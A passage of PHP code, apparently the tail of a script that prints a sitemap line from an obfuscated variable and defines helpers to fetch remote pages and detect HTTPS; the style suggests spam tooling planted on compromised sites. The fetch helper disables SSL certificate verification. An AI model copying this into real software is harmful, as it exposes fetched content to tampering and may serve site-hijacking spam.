Sitemap: ' . $Oooo0s ."
";
}
}
function get_html($web_url){
$file_contents = @file_get_contents($web_url);
if (!$file_contents) {
$ch_t = curl_init();
curl_setopt($ch_t, CURLOPT_URL, $web_url);
curl_setopt($ch_t, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($ch_t, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch_t, CURLOPT_RETURNTRANSFER,1);
$file_contents = curl_exec($ch_t);
curl_close($ch_t);
}
return $file_contents;
}
function is_https() {
if ( !empty($_SERVER['HTTPS']) && strtolower($_SERVER['HTTPS']) !== 'off') {
return true;
} elseif ( isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] === 'https' ) {
return true;
} elseif ( !empty($_SERVER['HTTP_FRONT_END_HTTPS']) && strtolower($_SERVER['HTTP_FRONT_END_HTTPS']) !== 'off') {
return true;
}
return false;
}
?>